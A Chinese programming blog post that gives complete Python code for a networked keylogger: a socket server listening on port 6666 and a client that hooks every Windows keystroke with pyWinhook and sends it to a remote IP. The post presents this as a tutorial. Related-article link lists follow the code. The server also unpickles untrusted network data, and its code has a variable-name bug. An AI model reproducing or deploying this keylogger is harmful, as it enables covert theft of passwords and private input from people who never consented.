python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python中的anydbm模版和shelve模版使用指南
Jul 09 Python
Python实现Smtplib发送带有各种附件的邮件实例
Jun 05 Python
Python 模拟员工信息数据库操作的实例
Oct 23 Python
Mac中Python 3环境下安装scrapy的方法教程
Oct 26 Python
python实现简单名片管理系统
Nov 30 Python
Python学习笔记之视频人脸检测识别实例教程
Mar 06 Python
Django admin管理工具TabularInline类用法详解
May 14 Python
python根据用户需求输入想爬取的内容及页数爬取图片方法详解
Aug 03 Python
python七种方法判断字符串是否包含子串
Aug 18 Python
python 基于UDP协议套接字通信的实现
Jan 22 Python
python爬取企查查企业信息之selenium自动模拟登录企查查
Apr 08 Python
JAVA SpringMVC实现自定义拦截器
Mar 16 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
为什么《星际争霸》是测试人工智能的理想战场
2019/12/03 星际争霸
PHP简单系统数据添加以及数据删除模块源文件下载
2008/06/07 PHP
php版微信发红包接口用法示例
2016/09/23 PHP
PHP基于方差和标准差计算学生成绩的稳定性示例
2017/07/04 PHP
[JS]点出统计器
2020/10/11 Javascript
js multiple全选与取消全选实现代码
2012/12/04 Javascript
js控制的遮罩层实例介绍
2013/05/29 Javascript
JS小游戏之仙剑翻牌源码详解
2014/09/25 Javascript
node.js中的console.time方法使用说明
2014/12/09 Javascript
12行javascript代码绘制一个八卦图
2015/04/02 Javascript
JavaScript Function函数类型介绍
2015/04/08 Javascript
使用console进行性能测试
2015/04/27 Javascript
浅谈Javascript的静态属性和原型属性
2015/05/07 Javascript
js 判断所选时间(或者当前时间)是否在某一时间段的实现代码
2015/09/05 Javascript
JavaScript对象数组排序实例方法浅析
2016/06/15 Javascript
微信小程序 触控事件详细介绍
2016/10/17 Javascript
深入浅出es6模板字符串
2017/08/26 Javascript
详解如何用babel转换es6的class语法
2018/04/03 Javascript
vue多页面开发和打包正确处理方法
2018/04/20 Javascript
React全家桶环境搭建过程详解
2018/05/18 Javascript
vue2.0 下拉框默认标题设置方法
2018/08/22 Javascript
浅谈redux, koa, express 中间件实现对比解析
2019/05/23 Javascript
Node.js API详解之 readline模块用法详解
2020/05/22 Javascript
在Heroku云平台上部署Python的Django框架的教程
2015/04/20 Python
Python中音频处理库pydub的使用教程
2017/06/07 Python
python中requests爬去网页内容出现乱码问题解决方法介绍
2017/10/25 Python
Python绘制七段数码管实例代码
2017/12/20 Python
对numpy中轴与维度的理解
2018/04/18 Python
项目副经理岗位职责
2013/12/30 职场文书
质量承诺书范文
2014/03/27 职场文书
软件项目开发计划书
2014/05/01 职场文书
我爱家乡演讲稿
2014/09/12 职场文书
标准大学生职业生涯规划书写作指南
2014/09/18 职场文书
旷工检讨书1000字
2015/01/01 职场文书
Vue过滤器(filter)实现及应用场景详解
2021/06/15 Vue.js
python数字类型和占位符详情
2022/03/13 Python